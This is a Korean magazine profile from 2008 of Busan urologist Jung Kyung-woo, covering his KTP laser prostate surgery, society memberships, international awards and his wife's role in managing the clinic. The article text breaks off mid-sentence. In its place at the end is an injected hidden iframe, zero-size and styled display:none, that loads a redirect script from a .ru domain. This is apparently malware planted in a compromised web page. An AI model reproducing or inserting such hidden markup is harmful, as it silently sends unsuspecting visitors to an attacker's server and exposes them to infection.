작성자 정경우  작성일 2008.05.30  
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전립선 KTF 레이저 수술로 리드!
BIZ & ISSUE Medical 2008년 5월 30일 제150호 전립선 KTP 레이저수술로 리드! 성기능장애/ 남성수술/ 여성요실금 치료 중심 개원가 비뇨기과 세분화 · 전문화 앞장 성기능장애와 전립선질환 치료와 수술 실력으로 부산에서뿐만 아니라 전국에서 인정을 받고 있는 부산광역시 스마일비뇨기과의 정경우 원장은 비뇨기과 의사들 사이에서도 유명인으로 통한다. 뿐만 아니라 병원 경영에서도 성공한 대표적 케이스로 주목받고 있다. 의사, 환자에게 ‘실력’으로 말한다. 정 원장은 대한비뇨기과학회, 대한남성과학회, 대한전립선학회, 미국비뇨기과학회, 유럽비뇨기과학회, 아·태 성기능장애학회, 세계성기능장애학회 등에서 정회원으로 활동하며 개원 후에도 꾸준히 국내외 학회에 논문을 발표하고, 특히 비뇨기과 의사들을 대상으로 매년 학회, 심포지엄 특강도 하고 있다 정 원장은 세계 3대 인명사전인 미국 마르퀴스 후즈 후(Who's Who)와 미국인명연구소(ABI), 영국 케임브리지 국제인명센터(IBC)가 발행하는 2007년판 세계 인명사전에 동시에 선정되어 등제됐다. 또한 그의 이름은 미국 마르퀴즈의 ‘후즈 후 인 더 월드’, 미국인명연구소의 ‘21세기 그레이트 마인드’, 영국 케임브리지 국제인명센터의 ‘21세기 저명한 지식인 2000명’편에 올려졌다. 2007년 3월 IBC에 의해 ‘2007년 남성의학 톱 100명’에 선정되었으며, 6월 미국 ABI의 ‘2007년 유니버설 업적 상’을 수상하기도 했다. 1993년 아·태 성의학회에서 임상부분 최우수 논문상과 음경해면체 신경손상 후 신경재생에 관여하는 성장인자를 밝혀내 1998년 세계성의학회에서 논문을 발표하여 최우수 논문상인 ‘장프랑소와 지네스티상’을 국내에서는 수상했다. ‘거대 전립선 비대증의 KTP레이저 수술법’과 ‘음경만곡증의 변형 백막주름법’을 개발하여 여러 차례 국제학회에 발표하여 인정을 받았다. 2001년 미국 AMS사로부터 음경보형물 수술 우수 시술자, 2003년 미국 Laserscope사로부터 아시아지역 전립선비대증 KTP레이저 수술 교육자로 선정되기도 했다. 미국 샌프란시스코 캘리포니아 주립대학교(UCSF) 메디컬센터에서 연구원 및 교환교수를 지내고 10년 동안 동아대의대 비뇨기과 교수로 재직하던 그는 “비뇨기과의 부정적인 이미지를 깨뜨리고 질 높은 의료서비스를 제공하며 가까운 곳에서 환자가 건강한 생활을 즐길 수 있도록 도와주고 싶다.”는 목표로 2001년 개원했다. 정 원장은 기존의 명성에만 안주하지 않고 새로운 시도를 택했다. 당시 비뇨기과 개원가는 음경확대와 같은 남성의학을 대표적인 진료로 인식하고 있었지만 그는 비뇨기질환의 치료와 수술 중심의 진료를 선택한 것이다. 전립선질환, 성기능장애, 요로결석, 요실금, 남성과학 등 다양한 진단과 수술에 필요한 첨단 장비를 갖추어, 남성 환자와 피부과 진료에 치중되고 있던 타 비뇨기과의 분위기에서 탈피했다. 뿐만 아니라 학회활동에 더욱 적극적으로 참여해 최신 연구지견이나 치료방법 등을 빨리 접하고 이를 연구해 치료에 적용하는 등 끊임없는 자기발전을 위한 노력을 아끼지 않았다. 그는 “의사와 환자사이에 신뢰는 의사의 실력이 뒷받침 되어야 하는 것은 기본이다. 개원의는 개별적인 경영으로 자칫 새로운 정보에 둔해질 수 있지만 가장 좋은 치료법을 찾는 일을 게을리 해서는 안된다”고 강조한다. 세심한 병원경영은 ‘내조의 힘’ 진료를 받기위해 아침부터 접수를 하고 1시간 이상을 기다리는 환자들에 대한 미안한 마음에 점심시간도 제대로 쉬지 못하고 진료에 매달린다는 정 원장이 진료와 경영이라는 두 마리 토끼를 잡을 수 있었던 것은 ‘숨은 조력자’가 있었기 때문이다. 병원 살림과 운영에 큰 힘이 되어주는 이는 바로 인생의 파트너이기도 한 부인이다. 정 원장은 의사로서 진료에만 전념하기위해 병원 경영과 관리는 기획이사라는 직책으로 부인이 맡아서 하고 있다. 예를 들어 병원에서 오래 기다리며 지루해 하는 환자들에게 먼저 다가가 이야기 상대가 되어주기도 하고, 환자들이 마시는 음료 하나도 좀더 좋은 것을 제공해야 한다는 의견 등은 부인의 아이디어다. 또 장기근속 직원에게는 해외여행 보너스를 제공하고, 직원들과 제약사 영업사원을 초대해 병원에서 연말 와인파티를 여는 등 세심한 배려에는 기획 이사직을 맡고 있는 부인의 의견이 반영된 것이라고 설명한다. 앞선 진료 시스템.... 새로운 경영모델 제시 정 원장은 “비뇨기과에 대한 환자들의 인식은 점차 긍정적으로 변화하고 있지만 개원 비뇨기과의 역할을 바로잡기 위해서는 여전히 의사의 노력이 필요하다.”며 “요로결석, 비뇨기계 암, 요실금, 신우신염, 방광염, 전립선염 등 누구에게나 발생할 수 있는 질환들이 환자의 잘못된 인식으로 방치되거나 악화되는 일이 없도?iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none">

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